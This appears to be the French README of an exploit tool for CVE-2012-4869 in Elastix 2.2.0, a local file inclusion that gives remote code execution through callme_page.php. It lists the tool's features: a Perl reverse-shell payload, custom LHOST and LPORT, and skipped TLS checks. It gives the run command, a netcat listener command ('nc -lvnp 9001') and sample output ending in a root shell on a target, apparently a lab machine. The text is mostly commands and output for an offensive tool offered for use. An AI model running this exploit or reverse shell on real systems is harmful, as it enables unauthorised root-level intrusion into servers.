Elastix 2.2.0 Exploit d'inclusion de fichier local - CVE-2012-4869

Description

Ce script exploite une vulnérabilité d'inclusion de fichier local (LFI) dans Elastix 2.2.0, permettant une exécution de code à distance (RCE) en injectant des commandes via le point de terminaison callme_page.php. L'exploit est basé sur CVE-2012-4869.

Fonctionnalités

• Ignore la vérification des certificats TLS.
• Utilise une charge utile reverse shell en Perl.
• Prend en charge LHOST et LPORT personnalisés pour le reverse shell.
• Supprime les avertissements de sécurité HTTPS.

Prérequis

• Python 3
• Module requests

Installez les dépendances avec :

pip install requests

Utilisation

python exploit.py <URL> --LHOST <YOUR_IP> --LPORT <YOUR_PORT>

Exemple:

python exploit.py "https://10.129.229.183" --LHOST "10.10.14.23" --LPORT 9001

Configuration du listener reverse shell

Avant d'exécuter l'exploit, démarrez un listener Netcat sur votre machine :

nc -lvnp 9001

Sortie d'exécution de l'exploit

[*] Running Elastix 2.2.0 LFI Exploit - CVE-2012-4869
[*] Target: https://10.129.229.183
[*] Listening on 10.10.14.23:9001

[+] Exploit sent successfully, waiting for reverse shell...

[+] Connection from 10.129.229.183:41242
$ id
uid=0(root) gid=0(root) groups=0(root)

Remarques

• Si le reverse shell ne se connecte pas, assurez-vous que les règles du pare-feu et les paramètres SELinux autorisent les connexions sortantes.
• Des charges utiles alternatives (par exemple, Bash ou Python) peuvent être utilisées si Perl n'est pas disponible.
• Assurez-vous que votre LHOST est accessible depuis la machine cible.

Avertissement

Cet exploit est destiné uniquement à des fins éducatives et de tests de sécurité autorisés. L'utilisation non autorisée est illégale. L'auteur n'est pas responsable d'une mauvaise utilisation de cet outil.